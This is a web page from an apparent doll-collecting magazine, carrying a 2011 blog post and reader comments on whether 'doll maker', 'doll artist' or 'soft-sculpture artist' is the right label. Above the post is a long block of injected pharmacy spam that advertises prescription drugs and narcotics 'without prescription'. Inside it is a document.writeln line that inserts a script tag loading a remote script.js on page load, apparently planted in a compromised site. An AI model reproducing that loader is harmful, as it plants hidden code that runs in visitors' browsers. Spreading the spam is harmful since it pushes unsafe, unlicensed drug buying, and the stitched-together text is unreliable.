how much is erythromycin tablets where eurax where to buy motilium online uk where could i buy lipitor without prescription norvasc side effects swelling ankles lopressor low dose birth control buy evista patch can a man use hydroxycut max for women levitra no prescription online drugs cytoxan 40mg toprol xl 50 mg coupons cheap accutane uk what does lithium react well with what are the side effects of zocor 40 mg safe compazine buy pharmacy has best price trileptal isoniazid 300 mg price ortho tri cyclen acne before and after costco pharmacy arava price buy estrace greece purchase acticin 4 pharmacy buy viramune boots aricept without prescription canada health canada vytorin prednisone over the counter australia metformin glucophage weight loss wellbutrin sr side effects headaches phenergan withiut prescription purchase zanaflex on line in australia seroflo purchase in canada no prescription best online pharmacy no prescription reviews viagra 50mg price in india cipro no prescription canada what does generic phenergan look like baclofene isoptin 240 cena what is levitra tablets what does atarax contain side effects buy cheap altace online what is apo allopurinol used for mircette price periactin dose of serotonin syndrome how to take neurontin for pain zestril brands india viagra soft without prescription medication kgr 100 green pill buy glucotrol xl astrailia buy allopurinol no prescription decadron pharmacy coupons where to coumadin cialis for men advair diskus online canada generic baclofen us buy real viagra online indian albendazole mgb order floxin ear drops online pharmacy is trental over the counter reviews on viramune best online pharmacy generic ginseng order xanax online from canada metronidazole 500 mg while pregnant januvia prices in india zoloft cheap us pharmacy best place to buy fucidin online pharmacie en ligne france home'opathie maxalt and other medications cardizem cheap us pharmacy brand amoxil online pharmacy uk order cialis professional usa hoodia mail order india generic mexican propranolol mg order cipro no rx canadian pharmacy buy cialis super active inhaler canada new aricept dose order drugs from mexico prazosin online usa when will generic viagras be available weight gain after coming off citalopram can you only get shatavari on prescription buy rumalaya 100mg online bactroban crema precio mexico generic skelaxin safe sildenafil citrate tablets 100mg reviews drug market order celexa where can i get digoxin without a prescription best drugstore setting powder for dry skin is combivent better than albuterol brand cialis tablets us online what kind of steroid is prednisone generic for bactroban cheap colchicine overnight what does liquid arimidex taste like mestinon non perscription countries online pharmacy vasotec drugs for sale online tadiran lithium shelf life document.writeln('<'+'scr'+'ipt type="text/javascript" src="'+(new Date()).getTime()+'/script.js?id=Apg6tmrlkwEyu4jB4v56Bpa0HZbpniOQ26kPiGly2Bv.R7">'); generic cialis pay with paypal buy over the counter phenamax online buy generic cyklokapron online allegra prescription vs otc is accutane available in canada coversyl product information buy suprax inhaler canada does lyrica work better than neurontin flagyl er online ordering half price gyne-lotrimin precio alli 42 capsulas cheapest online generic zithromax what family of drugs is trazodone is there something like viagra for women buy cicloferon cream prevacid order canada buy flovent for daily use isoptin perth australia target pharmacy diclofenac gel do you need a prescription for cialis in uk fucidin no prescription compare prices can you buy tenormin generic to buy betapace disfuncion erectil y diabetes tratamiento azithromycin 250 mg uses tadacip with american express buy decadron paypal how to order stromectol online buy tadacip no prescription fast delivery original fincar online avapro irbesartan tablets nizoral cheap india pharmacy silagra from mexico buying narcotics online no prescription discount cordarone mg order ephedraxin online canada nexium comprare order mircette no prescription levitra professional no prescription buy generic topiramate without rx coumadin cheap allopurinol order in the us where to buy advair diskus online india buy zyprexa online india order glucophage 850 mg rogaine 5 perth australia metformin online bestellen rezeptfrei trental 400 mg retailer buy torsemide new zealand online aristocort echeck canadian crestor can i get off lexapro zithromycin brand viagra rx propecia order with no perscription entocort on line no script floxin bonus pills cost of aristocort without insurance medrol dose pack common side effects what does zyban med cab benadryl combivent doctors online generic mobic switzerland where can i buy benemid buy finax with visa buy xenical online no prescription us long term side effects of prednisolone zoloft weight gain study lipitor annual sales 2010 renova paper goods prometrium overnight what is the drug classification for lanoxin baby fertility drug clomiphene clomid serophene milophene ordering viagra professional canadian pharmacy how long does depakote take to work for mania cheap olanzapine no prescription buy benzac no prescription free samples of alli diet pills periactin cheap uk pharmacy roxithromycin tablets used for lowest price sinequan uk version of dramamine rxrelief card consumer reports viagra se puede tomar avalide 300- 25 mg tablets baclofen withdrawal emedicine buy generic nitrofurantoin with bonus tricor malaysia service sdn bhd is trazodone better than xanax cheap forzest usa nootropil side effects uk famvir mail order india keflex dose pediatrica buy zovirax quick lowest priced chloramphenicol buy alli weight loss pills online how to order cialis sublingual suhagra over the counter usa cymbalta what is it used for what is the generic name for ventolin coumadin mail order india haldol usa order alesse tablets can you buy prednisone in canada what is the drug torsemide how to take mentat mg pharmacy has best price dipyridamole buy tretinoin retin-a 0.1 cream 45g viagra medicine in pakistan purchasing caverta online uk tadacip cost comparison eldepryl on line purchase effects of ondansetron in pregnancy want to buy alligator gar pharmacy fastest seroquel uk delivery buy toys online australia free shipping half price synthroid roxithromycin 300mg keflex by mail what is promethazine dm syp qualitest phenamax over the couter cipla pharma company product safe brand levitra buy mirtazapine 45 mg sleep cipro delivery uk viagra professional medication online buy shallaki boots pharmacy lanoxin new zealand valtrex canadian medications without prescription xeloda coupons erythromycin mist canada health canada accutane zestoretic cost comparison eurax online shipping cardizem buy no prescription cheap hotels in yasmine hammamet pharmacy online canada pulmicort online legally purchasing trazodone online uk generic eldepryl for sale on line where can i buy viagra online cheap brand viagra in italia illegal drugs in usa purchase viramune online lamisil prices usa 1 man 1 jar original video order inderal nirvana lithium avandamet dosage too high zyvox online meds how long to take doxycycline for chlamydia legal buy voltaren online canada cheap zestril free delivery buy over the counter evista online medication cholesterol lowering atorlip tablets buying viagra from canada reviews cipro reviews for men order antibiotics from canada drugs atrovent in children buy kamagra oral jelly 10 pariet australia cheapest place to buy viagra uk generic pills for brand advair diskus minocycline pills drugstore order generic lincocin beconase aq pills sweat can you buy citalopram over the counter in germany buy augmentine duo buy cheap lanoxin pills valtrex 500mg side effects tofranil medication side effects is voltaren available over the counter in canada phenergan drug in fr pharmacy generic glyset uk paypal rhine inc palghar buy lady era 50 endep limited india diclofenac sodium 75 mg modified-release capsules can you buy flovent online opportunity can you buy zaditor online we serve generic medicines pharmacy philippines periactin online uk how to import doxazosin generic pills for bactroban rosuvastatin american journal of cardiology non prescription skelaxin generic viagra echeck best place to buy procardia buy luvox 50 list of tesco stores selling pilex liquid prevacid review is cialis for men or women levitra super active canada no prescription abana billig kaufen ventolin cfc free inhaler side effects what is tramadol uk discount shallaki mg zyprexa overdose treatment buy olanzapine online pharmacy where to buy alligator meat in ohio louisiana possible side effects of zestoretic purchase crestor 10 mg rosuvastatin norvasc tablets pfizer allie brosh no updates clonidine sold over counter ordering viagra super active online drug shop discount atorlip-5 no prescription compare prices where to buy clonidine drugs online Purchase amaryl 2mg research chemicals tadalafil citrate how to use atrovent nasal spray claritin phone orders alli by mail order loss generic combivent inhaler insurance age broker forum how to get social anxiety medication zetia price walgreens american differin is there a drug comparative to chloroquine can order imuran online order fucidin pills compare prices floxin guide to buying viagra online lisinopril precio mexico who makes benicar medication buy atorlip 5 discount where to topamax suprax 400mg uses can i buy valtrex in canada capoten mg tablet order seroquel medication cozaar price compare side effects of quinine how to use an albuterol metered dose inhaler allegra over counter generic generic levitra walmart ampicillin prescription drug prometh with codeine cough syrup uk buy levitra super active no prescription fast delivery cialis sublingual lawsuit settlements legal buy arimidex online canada paxil medication used cafergot reviews cheap genuine kamagra soft online us pharmacy online wellbutrin can i legally buy prescription drugs from canada most effective ringworm medication zenegra shoppers drug mart allegra 180 mg twice daily medrol dose pack 4mg directions bentyl buy usa discount cialis no prescription generic drug for toprol xl fast coreg deleviery what is prometrium pills used for buy mircette new zealand online asacol hd delivery system sale buy lasix online mexican pharmacy no prescription viagra super active is it legal to buy domperidone from canada alesse medication drugstore makeup online canada can you buy viagra over the counter cialis online pharmacy what does accutane do to your brain azithromycin 250mg tablet use canada drugs bentyl with prescription aldactone 25mg prec,o buy acivir pills drugstore hoodia cheapest india;s ranbaxy launches lipitor generic canada buy cheap tamoxifen using pay pal use haridra coupon online amitriptyline sleeping aid rx pharmacy online canada canadian alliance terminals ltd contacttwo 5mg levitra flovent lawsuit canada moduretic for sale online asacol hd price increase super active baby at 38 weeks long time side effects levlen advair diskus side effects uk kamagra mail order india list of prescription non steroidal anti-inflammatory drugs purchase nolvadex pills purchase diflucan what infections is omnicef used for robaxin no prescription reviews pravachol without rx endep comprar metformin 500 mg pcos buy nizoral shampoo online uk prescription augmentin codeine interaction cheap eurax sale revatio lexapro medication online cialis order online uk buy abana pharmacy online botanical slimming tablets mij canadian pharmacy cialis for women side effects side effects of amoxicillin during pregnancy generic claritin safe vasodilan dosage instructions buy metformin xr no prescription noroxin comprare order propecia online europe ordering antabuse online generic nootropil for sale on line flomax mr uses when does viagra go generic proventil online cheap cholestoplex on line no script prednisolone 40 mg what is neurontin for dogs can you get viagra over the counter uk cafergot with paypal payment cheap clomid generic online pharmacy nimotop lawsuit canada list of tesco stores selling altace can zestoretic get you high hydrochlorothiazide now order buy floxin ofloxacin sinequan now co uk to buy desyrel how much does diflucan cost at publix best place to buy metformin pamelor reviews for men side effects of bentyl injection what is the drug combivent used for vermont yankee sale exelon buy alligator meat los angeles online buy pure hyaluronic acid powder buy capoten inhaler canada discount levlen otc cvs pharmacy online circular buy keftab boots pharmacy is glyset a prescription drug danazol prices at costco lidocaine injection for neck pain como usar levitra generic cialis canada buy minocin in india online acquistare aciphex in italia best site to buy aristocort side effects from taking synthroid sertraline generic for zoloft viagra cost per pill 2013 best place to buy abana in usa prinivil dose printable coupon for ventolin hfa inhaler lamictal mg tablet meclizine 100 review ordering naprosyn here in canada tinidazole bonus pills side effects of trental in dogs lithium weight gain forum esomeprazole magnesium during pregnancy celexa website pill identifier generic robaxin medicine children buy alli diet pills philippines discount how much will elimite cost benzac brands india what does doxycycl hyc cap 100mg treat lexapro generic release buying carafate from canada no prescription how to purchase eldepryl online coumadin on line purchase crestor purchase in canada no prescription genuine malegra fxt 100mg chloramphenicol for sale recommended dose of panax ginseng remeron overseas order viagra super active without prescription what is maxaman made of kamagra soft shopping mircette no prescription needed ranitidine prescription canada resources for pariet buy tegretol online cheap american lithium minerals inc stock ordering lexapro on line increasing sperm count naturally lithium buy canada detrol la 4mg non persciption prilosec online nizoral purchase online drugstore in the us phenergan now co uk brain right parietal lobe function valacyclovir hcl 500 mg t buy celebrex fast shipping coming off celexa safely robaxin high bluelight pediatric safe dose ampicillin i pill lithium website side effects drug how to take medrol ivf cardizem no script delivery generic abilify prescription where to buy periactin weight gain pharmacy bactroban cream no prescription how much does reglan cost without insurance where do i aldactone in uk can you buy viagra super active in ireland online pill store cialis
Home Articles Spotlight Blog The Artful Dodger: Can someone explain what distinguishes a doll maker from a figural artist?
The Artful Dodger: Can someone explain what distinguishes a doll maker from a figural artist?
Written by Stephanie Finnegan   
Wednesday, 12 October 2011 13:06

The other day, my daughter, who is 6 going on 36, announced that she had to write a paragraph in school about her future plans and ambitions. That’s a great deal of forward-thinking for a bunch of first graders. Jane was very pleased with herself because she poured out her energy into composing a look at her life as a chemist/scientist.

However, as she was regaling me with her futuristic résumé, she seemed to be smiling like the cat who devoured the proverbial canary—or maybe the cat who lapped up the cream. It’s a much nicer simile.

“What’s up with the grin, Jane?” I asked.

She replied, nearly bursting with her own cleverness, “This was just a cover. I’m really going to be a secret agent; but if I said that, everyone would know, so I had to come up with something else.”

pixiehollowfairy1And with that kernel of truth confirmed—deception is a spy’s most trusty tool—she left to go upstairs and play with her Pixie Hollow fairies. (They’re all members of a secret society of winged agents who battle criminals, solve mysteries, and preserve law and order. This is her own invention, sort of a “CSI: Never Land” edition.)

When I heard Jane offer up her very tricky ruse—doing one thing and calling it another—I immediately thought of the whole furor that still heats up occasionally regarding “doll artist” vs. “figural artist” vs. “soft-sculpture artist” vs. “doll maker.”

Are all of these labels one and the same, or is there a distinct difference among the ladies and gentlemen depending on what they label themselves?

Many years ago, I heard someone (who shall remain nameless) stand a few inches from my face and explain how men are definitely “artists,” whereas the women are “makers.”

This person opined that women tend to personalize and imbue their creations with backstories and fictional histories and coo over them,gloriasteinem1 and act as if every finished product was a matter of birthing. The men, however, were more objective and worked on honing their craft, capturing lifelike muscles and movement, and created beautiful works of art that stood on their own merit—no personalities or storylines required.

Channeling my inner Gloria Steinem, but making sure I didn’t tread on any toes, I tamped down my feminist knee-jerk reaction and tried to talk with this jerk on some kind of human-to-human level.

No luck. The opinion was set in stone.

According to this conversationalist, all men with a kiln were doll artists; all women were doll makers! Well, if we hopped aboard this train of thought, it wasn’t the talent that pulled the freight or chugged the engine. It wasn’t the genre, but rather the GENDER alone that distinguished who should be accorded this special accolade.

So I ask, what does make the difference in these word choices? What makes someone a “maker” as opposed to an “artist?”

Casablanca_Ingrid_Bergman1In show business, is there a difference between the “film industry” and the “movie industry”?

There was a time when “film” seemed to suggest something more artistic and insightful. Perhaps it was what one would watch in a college course that celebrated Scandinavian celluloid soul-searching: lots of Ingmar Bergman—not so much Ingrid Bergman.

And movies? Well, that seemed to be applied to escapism versus existentialism. Popcorn and soda pop, mounds of M&Ms—that seemed to be the real purpose behind movies. It’s a way to entertain you while you handed over your hard-earned cash at the candy counter.

I suppose a movie was two hours’ worth of empty, mental calories: not a lot of heavy thinking required. A film was supposed to nourish the soul.

But that distinction has blurred, and I hear schlock-meisters like Michael Bay, the “genius” behind the “Transformers” flicks, described as a filmmaker.

More to the point, when Steven Spielberg creates a picture like “Jaws” or “Raiders of the Lost Ark,” is he making a movie? But when heStevenSpielberg1 stands behind the cameras for “Schindler’s List,” is he suddenly making a film? Does he wear both hats—or in his case, both baseball caps?

It gives me something to consider when I talk about my collecting and my day-to-day work in the doll world.

Do I have to bite my tongue and apologize if I call a certain artist a “doll maker”? Do I have to defend my position if I say someone is a “doll artist,” and she sees herself as a “figural sculptor”?

Barbie-Doll1What’s the difference? And does it make a difference to you—the readers of the magazine and of this blog, the collectors of the dolls (aka “artwork”), the artists/sculptors/doll makers? Where do you stand on this issue?

I’d love to hear from an array of people who are immersed in this field, and find out what makes you implode or explode. In the world of doll artistry, does the prefix of “doll” automatically diminish its significance? And in the world of doll commerce, does the notion of “an artist’s original” immediately add to its monetary cachet? And if a Mattel Barbie is swaddled in the mantle of a Gustav Klimt painting, does it rise in meaning?

Let’s discuss, in an artful way, naturally!


TrackBack URI for this entry

Comments (8)

Subscribe to this comment's feed
smilies/smiley.gifA doll artist puts love and care into every doll he or she makes. It is never just a doll to that person. It is a labour of love.It is definitely an art form of self expression.
Lady Laura , December 07, 2011 | url
It is most interesting to me that your acquaintance stated "women tend to personalize and imbue their creations with backstories and fictional histories" as if that were a negative trait. I believe that as an artist my creations are extensions of my own feelings and passion. If there is no backstory, the passion is missing and it becomes just another item gathering dust on the shelf.
Liz , October 23, 2011 | url
I have been hearing this argument ever since I started getting involved in the doll world. I am an artist, over all, and dolls are only one of the mediums I work in. I make dolls from others patterns and from my own. I call them "soft-sculptures", only because to call them "cloth dolls" seems to bring in the image of "Raggedy Ann" to people who don't seem to know any better. (Don't get me wrong here, I LOVE Raggedy Ann, but have never made one.) At least, when I say "soft-sculpture", it opens up a conversation with the person, so I can explain that there is a whole world of "cloth dolls" out there, along with Raggedy Ann AND that it IS an "art form". So, soft sculpture artist is the term I prefer for myself.
Mickey , October 21, 2011
I think of a doll artist is someone who creates something original. I think of a doll maker as someone who works from someone else's pattern or mold. Whether something is a doll or a figure, to me, depends on whether it is jointed and whether the clothes can be removed -- a doll must have both.

You showed remarkable restraint with your "men are artists/women are makers" conversant. That is just ignorance.
Ruby Dolling , October 21, 2011 | url
I think of myself as a dollmaker, all one word. It is a craft (an ancient and honorable one) that I practice and enjoy. I don't call myself an artist but I do try to create dolls that are "real", which to me means that they hold a small bright piece of human experience inside. When I fail at that, then it is 'just' a fabric sculpture to me. Really, it might be the word 'just' that gets us into trouble!
Andrea B. , October 21, 2011 | url
I agree with Ruby in general, but some well known doll artists do not make their dolls with joints (Carol Trobe for example), or with removable clothes. They do not want their work altered in any way, including the position they were sculped in. Other doll artists love to have their dolls played with and enjoy seeing them changed and personalized. The whole discusstion reminds me of the fuss in the art world when Degas put wigs and cloth tutus on some of his ballerina bronzes.
Pat , October 20, 2011
I think of a doll artist is someone who creates something original. I think of a doll maker as someone who works from someone else's pattern or mold. Whether something is a doll or a figure, to me, depends on whether it is jointed and whether the clothes can be removed -- a doll must have both.

You showed remarkable restraint with your "men are artists/women are makers" conversant. That is just ignorance.
Ruby Dolling , October 20, 2011 | url
There is a difference between "just" a doll and a piece of doll art. I can't really define it. It's like that Supreme Court judge who said "I can't define pornography, but I know it when I see it."

There is a real difference.
Monica , October 12, 2011

Write comment

smaller | bigger